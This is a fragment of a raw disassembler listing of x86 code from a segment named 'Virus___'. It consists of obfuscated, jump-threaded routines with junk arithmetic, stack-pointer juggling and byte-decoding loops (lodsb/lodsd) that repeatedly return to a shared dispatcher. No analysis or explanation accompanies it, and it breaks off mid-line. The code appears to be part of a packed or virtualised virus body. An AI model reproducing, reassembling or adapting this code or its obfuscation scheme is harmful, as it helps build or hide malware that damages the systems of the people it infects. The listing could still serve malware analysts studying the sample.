loc_54AFD9: ; CODE XREF: sub_545A2B+946Ej mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp-5Ah+arg_54+2] pop esp sub edi, 63FA4368h pop ebp and eax, edi push [esp-62h+arg_5C+2] mov edi, [esp-5Eh+arg_58+2] add esp, 4 add esp, 4 shr eax, 0Eh jmp loc_54A451 ; --------------------------------------------------------------------------- loc_54B00B: ; CODE XREF: sub_545A2B-1425j pop ecx movzx eax, al jmp loc_54E44C ; --------------------------------------------------------------------------- loc_54B014: ; CODE XREF: sub_545A2B-1184j jmp loc_542F67 ; --------------------------------------------------------------------------- loc_54B019: ; CODE XREF: sub_545A2B+4088j sub eax, 5C7FF456h jmp loc_54D4DF ; --------------------------------------------------------------------------- loc_54B023: ; CODE XREF: sub_545A2B+531Bj add [esp-3Ah+arg_3A], edx mov edx, [esp-3Ah+arg_36] add esp, 4 pop eax push edi mov edi, 4 jmp loc_54C8CA ; --------------------------------------------------------------------------- loc_54B039: ; DATA XREF: Virus___:00542D40o lodsb jmp sub_544532 ; --------------------------------------------------------------------------- loc_54B03F: ; CODE XREF: sub_545A2B+5867j add [esp-3Eh+arg_42], 32FF389Ch jmp loc_54F462 ; --------------------------------------------------------------------------- loc_54B04C: ; CODE XREF: sub_545A2B+77F6j xor esi, 45103F50h shl esi, 5 xor esi, 0CAA1C52Ah add edi, esi pop esi sub ebx, 3F9F0F1Dh add ebx, edi jmp loc_549D06 ; --------------------------------------------------------------------------- loc_54B06B: ; CODE XREF: sub_545A2B+8F7Ej mov esp, [esp-42h+arg_3E] mov [esp-42h+arg_3E], ecx push ebx push eax mov al, dl push ecx mov ch, al mov bh, ch pop ecx jmp loc_5464BC ; --------------------------------------------------------------------------- loc_54B080: ; CODE XREF: sub_545A2B+44Aj dec cl sub cl, 0B3h or cl, 84h not cl not cl sub cl, 96h mov dl, cl pop ecx jmp loc_54B1B6 ; --------------------------------------------------------------------------- loc_54B097: ; CODE XREF: sub_545A2B+6C2j add eax, 4 xchg eax, [esp-16h+arg_12] pop esp pop [esp-1Ah+arg_16] pop esp test ecx, eax pushf jmp loc_542F67 ; --------------------------------------------------------------------------- loc_54B0AC: ; CODE XREF: sub_545A2B+5290j xor [esp+0], ebp jmp loc_54A558 ; --------------------------------------------------------------------------- loc_54B0B4: ; CODE XREF: sub_545A2B+1ED6j sub bl, 0B8h push eax push dx push ecx mov cl, 0B9h or cl, 7Eh jmp loc_54AB8B ; --------------------------------------------------------------------------- loc_54B0C5: ; CODE XREF: sub_545A2B+1CF5j push esp pop edx push eax mov eax, 6FB815FCh sub eax, 44A253E4h add eax, 78AA08B1h jmp loc_547E90 ; --------------------------------------------------------------------------- loc_54B0DC: ; CODE XREF: sub_545A2B+2E5j mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp-10h+arg_A+2] jmp loc_549FBC ; --------------------------------------------------------------------------- loc_54B0EE: ; CODE XREF: sub_545A2B+3665j mov bh, 0BCh xor bh, 0C6h sub al, 2 jmp loc_54BB7F ; --------------------------------------------------------------------------- loc_54B0FA: ; CODE XREF: sub_545A2B+25C5j neg ebx neg ebx push esi mov esi, 720E25F4h push ebp jmp loc_545932 ; --------------------------------------------------------------------------- loc_54B10A: ; CODE XREF: sub_545A2B+18E1j sub ecx, eax jmp loc_5464C5 ; --------------------------------------------------------------------------- loc_54B111: ; CODE XREF: sub_545A2B+44C3j xor al, cl mov ecx, [esp-34h+arg_2E+2] add esp, 4 push ecx mov ch, 44h xor ch, 0E0h add ch, 0ADh push small 2DE3h mov word ptr [esp-32h+arg_2E], ax jmp loc_5467C8 ; --------------------------------------------------------------------------- loc_54B12F: ; CODE XREF: sub_545A2B+6F67j mov [esp-32h+arg_2E], edi push ebp push edx jmp loc_54378D ; --------------------------------------------------------------------------- loc_54B139: ; CODE XREF: sub_545A2B+11AEj mov [esp-22h+arg_1E], eax jmp loc_5446A6 ; --------------------------------------------------------------------------- loc_54B141: ; CODE XREF: sub_545A2B+2203j jmp loc_542F67 ; --------------------------------------------------------------------------- loc_54B146: ; CODE XREF: sub_545A2B-E12j add esp, 4 xchg edi, [esp-1Ch+arg_16+2] jmp loc_54D27B ; --------------------------------------------------------------------------- loc_54B154: ; CODE XREF: sub_545A2B+8D89j add edx, 77A96FBFh jmp loc_54A297 ; --------------------------------------------------------------------------- loc_54B15F: ; CODE XREF: sub_545A2B+8756j pop edx add esi, 4 xchg esi, [esp-20h+arg_1A+2] pop esp add [esp-24h+arg_1E+2], eax pushf jmp loc_542F67 ; --------------------------------------------------------------------------- loc_54B170: ; CODE XREF: sub_545A2B+8516j push 270E3676h pop edx sub edx, 0FD82D25Dh mov esi, edx pop edx dec esi jmp loc_549C40 ; --------------------------------------------------------------------------- loc_54B185: ; DATA XREF: Virus___:00542E20o push [esp-24h+arg_1E+2] mov eax, [esp-20h+arg_1A+2] add esp, 4 push ecx jmp loc_54B64A ; --------------------------------------------------------------------------- loc_54B194: ; CODE XREF: sub_54EF28+15j inc ebx neg ebx xor ebx, 0C92BB7A3h jmp loc_549C6C ; --------------------------------------------------------------------------- loc_54B1A2: ; CODE XREF: Virus___:0054DFB1j add ebp, edx add ebp, 1CAB46D1h pop edx push ecx push 4 jmp loc_54B7BD ; --------------------------------------------------------------------------- loc_54B1B6: ; CODE XREF: sub_545A2B+5667j sub bl, dl mov edx, [esp-0Ah+arg_4+2] jmp loc_54E923 ; --------------------------------------------------------------------------- loc_54B1C0: ; CODE XREF: sub_545A2B+6088j mov edi, 78BA4342h mov esi, 8745BCC2h add esi, edi jmp loc_548EB5 ; --------------------------------------------------------------------------- loc_54B1D1: ; CODE XREF: sub_545A2B+9748j push 0D06h mov [esp-6+arg_0+2], edi mov edi, 4D9C42D7h push edx mov edx, 12C5317Dh inc edx xor edx, 47372621h and edi, edx jmp loc_549908 ; --------------------------------------------------------------------------- loc_54B1F2: ; CODE XREF: sub_545A2B+8022j push ebp jmp loc_544496 ; --------------------------------------------------------------------------- loc_54B1F8: ; CODE XREF: sub_545A2B+922Fj xor esi, 535A63A2h jmp loc_54DA52 ; --------------------------------------------------------------------------- loc_54B203: ; CODE XREF: sub_545A2B+174Cj push eax push ebx mov bh, cl mov ah, bh pop ebx mov dh, ah jmp loc_549EC3 ; --------------------------------------------------------------------------- loc_54B211: ; CODE XREF: sub_545A2B+892j pop edx add ebx, esi jmp loc_545252 ; --------------------------------------------------------------------------- loc_54B219: ; CODE XREF: Virus___:005456B3j add [esp-1Ah+arg_16], 4 pop edi add edi, 4 push ebp mov ebp, 19237207h push ebp not [esp-16h+arg_12] pop ebp jmp loc_54D2E4 ; --------------------------------------------------------------------------- loc_54B237: ; CODE XREF: sub_545A2B+6E9Aj sub edx, edi pop edi push ebp mov ebp, 26702AF0h jmp loc_5442C7 ; --------------------------------------------------------------------------- loc_54B245: ; CODE XREF: sub_545A2B+8Aj dec eax not eax sub eax, 0F315A0DCh dec eax jmp loc_547DAA ; --------------------------------------------------------------------------- loc_54B253: ; CODE XREF: sub_545A2B+3C88j ; sub_545A2B+5A63j push 2A95h mov [esp-2Ah+arg_26], ebx jmp loc_54E041 ; --------------------------------------------------------------------------- loc_54B260: ; CODE XREF: sub_545A2B+3284j mov ebx, 6FB92093h mov ecx, 0CA0D9857h jmp loc_54E1EC ; --------------------------------------------------------------------------- loc_54B26F: ; CODE XREF: sub_545A2B+32E7j mov ebp, 4 jmp loc_54DF22 ; --------------------------------------------------------------------------- loc_54B279: ; CODE XREF: sub_545A2B+23E5j pop esi push edx jmp loc_54E0E5 ; --------------------------------------------------------------------------- loc_54B280: ; CODE XREF: sub_545A2B+3985j push edi mov edi, 439B7276h add eax, edi jmp loc_5452EB ; --------------------------------------------------------------------------- loc_54B28D: ; CODE XREF: sub_545A2B+1959j mov ebx, 5E5C6513h jmp loc_54B03F ; --------------------------------------------------------------------------- loc_54B297: ; CODE XREF: sub_545A2B+602Ej push 3BA9h jmp loc_5490D3 ; --------------------------------------------------------------------------- loc_54B2A1: ; CODE XREF: sub_545A2B+778j push cx jmp loc_54951C ; --------------------------------------------------------------------------- loc_54B2A8: ; CODE XREF: sub_544532-270j mov edi, 4 add ebp, edi mov edi, [esp-1Ch+arg_16+2] add esp, 4 xor ebp, [esp-20h+arg_1A+2] xor [esp-20h+arg_1A+2], ebp xor ebp, [esp-20h+arg_1A+2] jmp loc_54DDAD ; --------------------------------------------------------------------------- push [esp-20h+arg_1A+2] push [esp-1Ch+arg_16+2] pop ecx push ebp push esp jmp loc_5444FD ; --------------------------------------------------------------------------- loc_54B2D4: ; CODE XREF: sub_545A2B-E84j mov esi, esp add esi, 4 add esi, 4 jmp loc_54D104 ; --------------------------------------------------------------------------- loc_54B2E7: ; CODE XREF: sub_545A2B+2E39j and ecx, 6AB72F64h sub ecx, 0AB088AF6h jmp loc_54816A ; --------------------------------------------------------------------------- loc_54B2F8: ; CODE XREF: sub_545A2B+58F3j pop esi add ebp, esi mov esi, [esp-46h+arg_42] add esp, 4 jmp loc_54BC28 ; --------------------------------------------------------------------------- loc_54B309: ; CODE XREF: sub_545A2B+60BEj pop [esp-4Ah+arg_46] mov esp, [esp+0] push edi push esp pop edi jmp loc_54CA82 ; --------------------------------------------------------------------------- loc_54B317: ; CODE XREF: sub_545A2B+33B7j pop eax push esi push 4 jmp loc_54B2F8 ; --------------------------------------------------------------------------- loc_54B323: ; CODE XREF: sub_545A2B+8CA7j sub edx, 25B72824h jmp loc_54F2F7 ; --------------------------------------------------------------------------- loc_54B32E: ; CODE XREF: Virus___:0054439Cj sub esp, 4 mov [esp-0Eh+arg_A], esi sub esp, 4 mov [esp-0Ah+arg_4+2], esp jmp loc_54666C ; --------------------------------------------------------------------------- loc_54B345: ; CODE XREF: sub_545A2B+7F6Ej shl ecx, 6 shl ecx, 4 jmp loc_54A4C3 ; --------------------------------------------------------------------------- loc_54B350: ; CODE XREF: sub_545A2B-1110j push small 284h mov word ptr [esp-4Ah+arg_46], cx mov ch, 6 jmp loc_54E5D3 ; --------------------------------------------------------------------------- loc_54B35F: ; CODE XREF: sub_543CBA+Cj mov ecx, esp add ecx, 4 push ebx push ecx push 3FC20A3Fh jmp loc_5434A9 ; --------------------------------------------------------------------------- loc_54B373: ; CODE XREF: sub_545A2B+7A34j dec ebx not ebx jmp loc_549651 ; --------------------------------------------------------------------------- loc_54B37B: ; CODE XREF: sub_545A2B+3DEFj push ebx mov ebx, 33896F6Ah push ecx push 1B963E12h jmp loc_54C004 ; --------------------------------------------------------------------------- loc_54B38C: ; CODE XREF: sub_545A2B+2AF1j sub bl, al jmp loc_544080 ; --------------------------------------------------------------------------- loc_54B393: ; CODE XREF: sub_545A2B+53C4j mov [esp-38h+arg_32+2], eax mov eax, 19DE1F38h sub ebx, eax jmp loc_54A2BA ; --------------------------------------------------------------------------- loc_54B3A2: ; CODE XREF: sub_545A2B+3036j mov esp, [esp-40h+arg_3A+2] jmp loc_549782 ; --------------------------------------------------------------------------- loc_54B3AA: ; CODE XREF: sub_545A2B+3ED8j mov edx, 7FD97ED0h push ecx jmp loc_548CAE ; --------------------------------------------------------------------------- loc_54B3B5: ; CODE XREF: sub_545A2B+6EB7j push esi push ecx mov ecx, 1E34272Fh mov esi, ecx jmp loc_54D8C1 ; --------------------------------------------------------------------------- loc_54B3C3: ; CODE XREF: sub_545A2B+A18j pop ebx xor edi, [esp-44h+arg_3E+2] xor [esp-44h+arg_3E+2], edi xor edi, [esp-44h+arg_3E+2] mov esp, [esp-44h+arg_3E+2] jmp loc_5491A4 ; --------------------------------------------------------------------------- loc_54B3D5: ; CODE XREF: sub_54DD5F+19j mov ebx, 723E2097h jmp loc_546258 ; --------------------------------------------------------------------------- loc_54B3DF: ; CODE XREF: sub_545A2B+99A5j pop edx shr eax, 10h xor eax, ecx sub esp, 4 mov [esp-44h+arg_3E+2], eax xchg ebp, [esp-44h+arg_3E+2] jmp sub_54585B ; --------------------------------------------------------------------------- loc_54B3F6: ; CODE XREF: sub_545A2B+94A5j not bl mov dl, bl pop ebx push ebx mov bl, 1Dh jmp loc_546194 ; --------------------------------------------------------------------------- lodsb push bx mov bl, 9Eh sub al, bl pop bx add al, 0A6h sub al, bl push ebx push eax jmp loc_544865 ; --------------------------------------------------------------------------- loc_54B417: ; CODE XREF: sub_545A2B-32Dj add eax, 4 add eax, 2 xchg eax, [esp-1Ch+arg_16+2] mov esp, [esp-1Ch+arg_16+2] div cl movzx cx, ah push 494Eh mov [esp-18h+arg_12+2], ebx push esp mov ebx, [esp-14h+arg_E+2] push edx jmp loc_546409 ; --------------------------------------------------------------------------- loc_54B43D: ; CODE XREF: sub_545A2B+1721j neg edi sub edi, 0BC60F6F8h xor eax, edi pop edi push eax push esi jmp loc_54687F ; --------------------------------------------------------------------------- loc_54B44F: ; CODE XREF: sub_545A2B+17C1j mov ebx, 2 sub ecx, ebx pop ebx sub esp, 4 mov [esp-50h+arg_4C], ecx push [esp-50h+arg_50] pop ecx pop [esp-50h+arg_4C] pop esp mov word ptr [esp-58h+arg_54], cx jmp loc_542F67 ; --------------------------------------------------------------------------- loc_54B472: ; CODE XREF: sub_545A2B+5B3Cj push edx mov edx, esp push ebx push 0F2B1363h jmp loc_543EBE ; --------------------------------------------------------------------------- loc_54B480: ; CODE XREF: sub_545A2B+36BFj neg ebx jmp loc_54F2B0 ; --------------------------------------------------------------------------- loc_54B487: ; CODE XREF: sub_545A2B+1CC5j pop esp pop [esp-44h+arg_3E+2] pop dword ptr [edi+24h] jmp loc_54B253 ; --------------------------------------------------------------------------- loc_54B493: ; CODE XREF: sub_545A2B+1A68j pop ebp sub [esp-48h+arg_42+2], 49FC67F8h add [esp-48h+arg_42+2], eax push ebx mov ebx, 49FC67F8h add [esp-44h+arg_42+2], ebx mov ebx, [esp-44h+arg_3E+2] jmp loc_54E2B8 ; --------------------------------------------------------------------------- loc_54B4B0: ; CODE XREF: sub_545A2B+4C60j add esp, 4 pop [esp-54h+arg_50] jmp loc_54B93A ; --------------------------------------------------------------------------- loc_54B4BE: ; CODE XREF: sub_54D166+Aj mov [esp-58h+arg_54], ebx push esp pop ebx push esi push ebx push 620423C3h pop ebx or ebx, 42D170ABh xor ebx, 7ECC62B8h and ebx, 6C0A5C66h sub ebx, 0C08103Eh mov esi, ebx pop ebx sub ebx, 67112427h add ebx, esi add ebx, 67112427h mov esi, [esp-54h+arg_50] push ecx mov ecx, esp jmp loc_544FE6 ; --------------------------------------------------------------------------- loc_54B4FF: ; CODE XREF: sub_545A2B+50C5j xchg edi, [esp-20h+arg_1A+2] pop esp jmp loc_54A04F ; --------------------------------------------------------------------------- loc_54B508: ; CODE XREF: sub_545A2B+45D7j add esi, 4E9C78D5h add eax, esi pop esi add eax, 4 xchg eax, [esp-3Ch+arg_36+2] pop esp add ebp, ebx pop ebx xor ebp, [esp-44h+arg_3E+2] xor [esp-44h+arg_3E+2], ebp xor ebp, [esp-44h+arg_3E+2] pop esp mov dx, word ptr [esp-48h+arg_42+2] sub esp, 4 jmp loc_54EB96 ; --------------------------------------------------------------------------- loc_54B536: ; CODE XREF: sub_545A2B+2451j push ebx push 5F60h mov [esp-34h+arg_2E+2], esp add [esp-34h+arg_2E+2], 4 pop ebx add ebx, 4 push edi mov edi, 4 jmp loc_54903E ; --------------------------------------------------------------------------- loc_54B558: ; CODE XREF: sub_545A2B+3201j pop edx sub dl, 72h sub dl, cl jmp loc_545795 ; --------------------------------------------------------------------------- loc_54B563: ; DATA XREF: Virus___:00542E08o mov ax, word ptr [esp-2Ah+arg_26] jmp loc_54B472 ; --------------------------------------------------------------------------- loc_54B56C: ; CODE XREF: sub_545A2B+1643j sub ebx, 1D8A4798h add ebx, esi add ebx, 1D8A4798h pop esi jmp loc_549A10 ; --------------------------------------------------------------------------- loc_54B580: ; CODE XREF: sub_545A2B-2776j mov edx, esp jmp loc_549ADC ; --------------------------------------------------------------------------- loc_54B587: ; CODE XREF: sub_545A2B+1BA8j mov ch, 0CAh not ch jmp loc_5469CF ; --------------------------------------------------------------------------- loc_54B590: ; CODE XREF: sub_545A2B+2C9Ej push ebx mov ebx, 1B32EB68h jmp loc_54D123 ; --------------------------------------------------------------------------- loc_54B59B: ; CODE XREF: sub_545A2B-2638j pop edi add eax, ecx push [esp-2Ch+arg_26+2] pop ecx add esp, 4 xor eax, [esp-30h+arg_2A+2] xor [esp-30h+arg_2A+2], eax xor eax, [esp-30h+arg_2A+2] mov esp, [esp-30h+arg_2A+2] push 10D6h jmp loc_54C483 ; --------------------------------------------------------------------------- loc_54B5BB: ; CODE XREF: sub_545A2B+7A44j sub ebx, ebp pop ebp xor ebx, 41765A59h xor ebx, 703A1739h sub ebx, 482167B2h mov edi, ebx pop ebx sub edi, 7D2B3F8Ch add edx, edi pop edi push ebp jmp loc_54A1C3 ; --------------------------------------------------------------------------- loc_54B5E2: ; CODE XREF: sub_545A2B+F9Fj add ecx, 2EE41E02h add ecx, edi sub ecx, 2EE41E02h mov edi, [esp-2Ch+arg_26+2] add esp, 4 jmp loc_5460AC ; --------------------------------------------------------------------------- loc_54B5FB: ; CODE XREF: sub_545A2B+67B3j pop esp mov word ptr [esp-34h+arg_2E+2], di sub esp, 4 mov [esp-30h+arg_2A+2], eax push dx push eax mov ax, 6694h xor ax, 788Bh not ax inc ax neg ax not ax add ax, 1E22h jmp loc_54EB40 ; --------------------------------------------------------------------------- loc_54B628: ; CODE XREF: sub_545A2B+7DF6j push 6161h mov [esp-26h+arg_22], ecx push [esp-26h+arg_26] pop ecx pop [esp-26h+arg_22] mov esp, [esp-2Ah+arg_26] ror [esp-2Ah+arg_26], cl pushf jmp loc_542F67 ; --------------------------------------------------------------------------- loc_54B644: ; CODE XREF: sub_545A2B+BC4j pop ecx jmp loc_54D5F5 ; --------------------------------------------------------------------------- loc_54B64A: ; CODE XREF: sub_545A2B+5764j push esp pop ecx push edx mov edx, 3D954535h jmp sub_54E352 ; --------------------------------------------------------------------------- loc_54B657: ; CODE XREF: sub_545A2B+9920j xor esi, ecx xor ecx, esi xor ecx, 4D464389h or ecx, 57EF15BBh sub esp, 4 mov [esp-18h+arg_12+2], ebp mov ebp, 2004738Fh neg ebp shl ebp, 5 push ebx jmp loc_54788E ; --------------------------------------------------------------------------- loc_54B67D: ; CODE XREF: sub_545A2B+6704j push eax jmp loc_548C5B ; --------------------------------------------------------------------------- loc_54B683: ; CODE XREF: sub_545A2B+34BCj pop ebx inc ebx or ebx, 769D3BF6h push esi mov esi, 50803E13h or ebx, esi pop esi jmp loc_545FF5 ; --------------------------------------------------------------------------- loc_54B699: ; CODE XREF: sub_545A2B+39F7j mov edi, 118F4214h xor edx, edi pop edi add ecx, edx pop edx add ecx, edx sub ecx, 2584189Ch jmp loc_5495D2 ; --------------------------------------------------------------------------- loc_54B6B1: ; CODE XREF: sub_545A2B-A7Aj xor ebp, 608918BFh sub edi, 3C576B74h add edi, 75CD7FE1h add edi, ebp sub edi, 75CD7FE1h push edx mov edx, 794C2F1Eh jmp loc_547C8A ; --------------------------------------------------------------------------- loc_54B6D6: ; CODE XREF: sub_545A2B-BE4j mov esp, [esp-16h+arg_12] mov eax, [esp-16h+arg_12] jmp loc_54AAC0 ; --------------------------------------------------------------------------- loc_54B6E1: ; CODE XREF: sub_545A2B+16B7j push esi push eax push 24512388h pop eax or eax, 215127A8h jmp loc_546467 ; --------------------------------------------------------------------------- loc_54B6F3: ; CODE XREF: sub_545A2B-134Aj pop edi pop ebp and eax, esi mov esi, [esp-36h+arg_32] sub esp, 4 mov [esp-32h+arg_2E], edi push esp pop edi jmp loc_5477CC ; --------------------------------------------------------------------------- loc_54B70A: ; CODE XREF: sub_545A2B+6402j sub esi, 200253Ch add ebp, esi pop esi jmp loc_546C14 ; --------------------------------------------------------------------------- loc_54B718: ; CODE XREF: sub_545A2B-499j sub esp, 4 mov [esp-10h+arg_A+2], ecx push eax sub esp, 4 mov [esp-8+arg_4], ecx push edx mov dl, 94h mov cl, dl mov edx, [esp-4+arg_0] push edi mov edi, esp jmp loc_545497 ; --------------------------------------------------------------------------- loc_54B738: ; CODE XREF: Virus___:00544A26j and eax, 6D9B067Fh push ebp mov ebp, 768C3FB6h jmp loc_5487E1 ; --------------------------------------------------------------------------- loc_54B748: ; CODE XREF: sub_544F70+9j sub eax, ebp mov ebp, [esp+4+var_4] jmp loc_54C5B2 ; --------------------------------------------------------------------------- loc_54B752: ; CODE XREF: sub_545A2B+4E7Dj push 750Ch mov [esp+0], ecx push eax mov eax, 1004003Dh mov ecx, eax pop eax sub edx, ecx pop ecx jmp loc_54DB5A ; --------------------------------------------------------------------------- loc_54B76B: ; DATA XREF: Virus___:00542D30o lodsd xor eax, ebx push ecx mov ecx, esp add ecx, 4 push eax mov eax, 4 jmp loc_544CDF ; --------------------------------------------------------------------------- loc_54B782: ; CODE XREF: sub_545A2B+9700j pop ebx jmp loc_54E5DB ; --------------------------------------------------------------------------- loc_54B788: ; CODE XREF: sub_545A2B+8E55j add esp, 4 sub esp, 4 jmp loc_544874 ; --------------------------------------------------------------------------- loc_54B796: ; CODE XREF: sub_545A2B+6252j add bl, al jmp loc_5480F7 ; --------------------------------------------------------------------------- loc_54B79D: ; CODE XREF: sub_545A2B+8654j add ebp, 4 xchg ebp, [esp+0] pop esp xchg ecx, [esp-10h+arg_A+2] pop esp mov ax, word ptr [esp-14h+arg_E+2] sub esp, 4 mov [esp-10h+arg_A+2], ebp push esp pop ebp push esi jmp loc_54DEB5 ; --------------------------------------------------------------------------- loc_54B7BD: ; CODE XREF: sub_545A2B+5786j mov ecx, [esp-1Ch+arg_16+2] add esp, 4 add ebp, ecx pop ecx xchg ebp, [esp-24h+arg_1E+2] mov esp, [esp-24h+arg_1E+2] add esp, 4 push [esp-28h+arg_22+2] push [esp-24h+arg_1E+2] pop ecx add esp, 4 push ebp jmp loc_543C74 ; --------------------------------------------------------------------------- loc_54B7E5: ; CODE XREF: sub_545A2B+4A1j push ebx mov bh, 2Bh push ecx mov cl, 51h sub cl, 64h jmp loc_54C2A2 ; --------------------------------------------------------------------------- loc_54B7F3: ; CODE XREF: sub_545A2B-144Cj mov eax, 513B5596h sub esi, eax pop eax jmp loc_54F0AC ; --------------------------------------------------------------------------- loc_54B800: ; CODE XREF: sub_545A2B-1762j pop ebp push 2CA5h jmp loc_546CDD ; --------------------------------------------------------------------------- loc_54B80B: ; CODE XREF: sub_545A2B+4BBFj pop ebp push edi push [esp-1Eh+arg_1E] pop edi pop [esp-1Eh+arg_1A] mov esp, [esp-22h+arg_1E] mov fs:[edx], al jmp loc_542F67 ; --------------------------------------------------------------------------- loc_54B820: ; CODE XREF: sub_545A2B+3830j push edx mov edx, 71F656D3h jmp loc_549291 ; --------------------------------------------------------------------------- loc_54B82B: ; CODE XREF: sub_545A2B+7028j pop ebx push small 15Ch mov word ptr [esp-38h+arg_32+2], bx push eax mov al, 0D2h push dx mov dh, bl jmp loc_545D44 ; --------------------------------------------------------------------------- loc_54B840: ; CODE XREF: sub_545A2B-2903j push ecx mov ecx, 19252484h mov edx, 19252582h sub edx, ecx pop ecx push edx pop esi pop edx and [edi+1Ch], esi mov esi, [esp-1Ah+arg_16] add esp, 4 jmp loc_542F67 ; --------------------------------------------------------------------------- loc_54B862: ; CODE XREF: sub_545A2B+6799j pop ebp push ecx jmp loc_54C886 ; --------------------------------------------------------------------------- loc_54B869: ; CODE XREF: sub_545A2B+9344j mov edx, [esp-1Eh+arg_1A] add esp, 4 push esi mov esi, 4 add ecx, esi mov esi, [esp-1Eh+arg_1A] push ebx mov ebx, esp push eax mov eax, 7EF8375Dh jmp loc_54DD7D ; --------------------------------------------------------------------------- loc_54B888: ; CODE XREF: sub_545A2B+4DA9j add al, 63h sub esp, 4 mov [esp+0], edx jmp loc_547D9F ; --------------------------------------------------------------------------- loc_54B898: ; CODE XREF: Virus___:00544D74j mov ebp, 112F1D37h sub ebx, ebp pop ebp push eax mov eax, 3B63132Eh jmp loc_545A23 ; --------------------------------------------------------------------------- loc_54B8AB: ; CODE XREF: sub_545A2B+619Dj push edi mov edi, esp add edi, 4 add edi, 2 jmp loc_54F1E7 ; --------------------------------------------------------------------------- loc_54B8BC: ; CODE XREF: sub_545A2B+6960j push 5463F93h pop ebp jmp loc_54A0E3 ; --------------------------------------------------------------------------- loc_54B8C7: ; CODE XREF: sub_545A2B+54A0j sub dh, 5Ch or bl, dh pop edx jmp loc_5432F1 ; --------------------------------------------------------------------------- mov cx, word ptr [esp-36h+arg_32] sub esp, 4 jmp loc_54C2D8 ; --------------------------------------------------------------------------- loc_54B8E1: ; CODE XREF: sub_545A2B-1350j pop esi pop ebx mov esi, ebp pop ebp shl esi, 7 shr esi, 8 push 0 add [esp-32h+arg_2E], 31BF715Eh jmp loc_54784C ; --------------------------------------------------------------------------- loc_54B8FD: ; CODE XREF: sub_545A2B+98C7j mov word ptr [esp-32h+arg_2E], cx push ebx mov bh, 0D1h mov cl, 60h sub cl, bh mov ebx, [esp-2Eh+arg_2A] jmp loc_54A1A2 ; --------------------------------------------------------------------------- loc_54B910: ; CODE XREF: sub_545A2B+896Cj pop ax jmp loc_54E6D7 ; --------------------------------------------------------------------------- loc_54B917: ; CODE XREF: sub_545A2B+4ACAj add esp, 4 xor ecx, edi push [esp-36h+arg_32] pop edi jmp loc_54735C ; --------------------------------------------------------------------------- loc_54B925: ; DATA XREF: Virus___:00542E1Co lodsd push ebx mov ebx, 0CCB211Eh not ebx jmp loc_54402D ; --------------------------------------------------------------------------- loc_54B933: ; CODE XREF: sub_545A2B+188j add edx, eax jmp loc_5430A6 ; --------------------------------------------------------------------------- loc_54B93A: ; CODE XREF: sub_545A2B+5A8Ej mov esp, [esp-58h+arg_54] xor byte ptr [esp-58h+arg_54], al pushf jmp loc_549084 ; --------------------------------------------------------------------------- loc_54B946: ; CODE XREF: sub_545A2B-2A97j add edi, ebp push ebp mov ebp, 62EA6FB9h add ebp, 0FBEEE556h sub edi, ebp jmp loc_54A5E9 ; --------------------------------------------------------------------------- loc_54B95B: ; CODE XREF: sub_545A2B+7CBEj mov ebx, 4E3410E9h jmp loc_54F08E ; --------------------------------------------------------------------------- loc_54B965: ; CODE XREF: sub_545A2B+673Cj push ecx push eax push edx push ecx mov ch, bl mov dl, ch pop ecx mov ah, dl pop edx jmp loc_54C7F1 ; --------------------------------------------------------------------------- loc_54B976: ; CODE XREF: sub_545A2B+1CCDj push ecx mov ecx, 4 jmp loc_54983C ; --------------------------------------------------------------------------- loc_54B981: ; CODE XREF: sub_545A2B+199Aj pop edi add edi, 4 push eax mov eax, 59244E45h neg eax jmp loc_5450AB ; --------------------------------------------------------------------------- loc_54B995: ; CODE XREF: sub_545A2B+4DA0j pop esp mov [esp-2Eh+arg_2A], edx jmp loc_54DAEF ; --------------------------------------------------------------------------- loc_54B99E: ; CODE XREF: sub_545A2B+28A1j push ebx mov bh, 41h push ax mov ah, 1Bh or bh, ah mov ax, word ptr [esp-3Eh+arg_3A] jmp loc_54BA5E ; --------------------------------------------------------------------------- loc_54B9B0: ; CODE XREF: sub_545A2B-2421j add edi, 754635B6h jmp loc_5493EF ; --------------------------------------------------------------------------- loc_54B9BB: ; DATA XREF: Virus___:00542E70o push dword ptr [edi+1Ch] popf pop ax adc byte ptr [esp-28h+arg_22+2], al pushf jmp loc_542F67 ; --------------------------------------------------------------------------- loc_54B9CA: ; CODE XREF: sub_545A2B+4DFBj mov esi, edi pop edi add edi, esi pop esi sub esp, 4 mov [esp+1Ch+var_1C], ecx mov ecx, 4 add edi, ecx mov ecx, [esp+1Ch+var_1C] add esp, 4 xor edi, [esp+0] xor [esp+0], edi xor edi, [esp+0] pop esp jmp loc_54F1BA ; --------------------------------------------------------------------------- loc_54B9F8: ; CODE XREF: sub_545A2B+6475j mov edi, esp push 26A4h mov [esp+0], esi mov esi, 4 add edi, esi mov esi, [esp+0] add esp, 4 push eax push edi jmp loc_54A884 ; --------------------------------------------------------------------------- loc_54BA16: ; CODE XREF: sub_545A2B+72A0j dec edx jmp loc_54BA42 ; --------------------------------------------------------------------------- loc_54BA1C: ; CODE XREF: sub_545A2B+24E2j pop [esp-20h+arg_1A+2] pop esp or word ptr [esp-28h+arg_22+2], ax pushf jmp loc_548FEB ; --------------------------------------------------------------------------- loc_54BA2A: ; CODE XREF: sub_545A2B+23ACj xor ebx, [esp-2Ah+arg_26] jmp loc_547FF5 ; --------------------------------------------------------------------------- loc_54BA32: ; CODE XREF: sub_545A2B+81E6j pop ecx jmp loc_54DE65 ; --------------------------------------------------------------------------- loc_54BA38: ; CODE XREF: sub_545A2B+77BBj mov ecx, 78B229A9h jmp loc_543B45 ; --------------------------------------------------------------------------- loc_54BA42: ; CODE XREF: sub_545A2B+5FECj xor edx, 7192D381h jmp loc_54F242 ; --------------------------------------------------------------------------- loc_54BA4D: ; CODE XREF: sub_545A2B+2ED5j add bh, 30h pop ecx jmp loc_54814B ; --------------------------------------------------------------------------- loc_54BA56: ; CODE XREF: Virus___:00544B49j push eax push esp pop eax jmp loc_54B297 ; --------------------------------------------------------------------------- loc_54BA5E: ; CODE XREF: sub_545A2B+5F80j push ebx mov ebx, esp add ebx, 4 add ebx, 2 jmp loc_54780F ; --------------------------------------------------------------------------- loc_54BA6F: ; CODE XREF: sub_545A2B+67DDj mov cx, word ptr [esp-3Ah+arg_36] push 176h mov [esp-36h+arg_32], ebx mov ebx, esp push ebp jmp loc_54DBC5 ; --------------------------------------------------------------------------- mov ax, word ptr [esp-32h+arg_2E] push esi jmp loc_549CB1 ; --------------------------------------------------------------------------- loc_54BA8D: ; CODE XREF: sub_545A2B-26Aj pop eax add esp, 4 push eax jmp loc_54A0CB ; --------------------------------------------------------------------------- loc_54BA9A: ; CODE XREF: 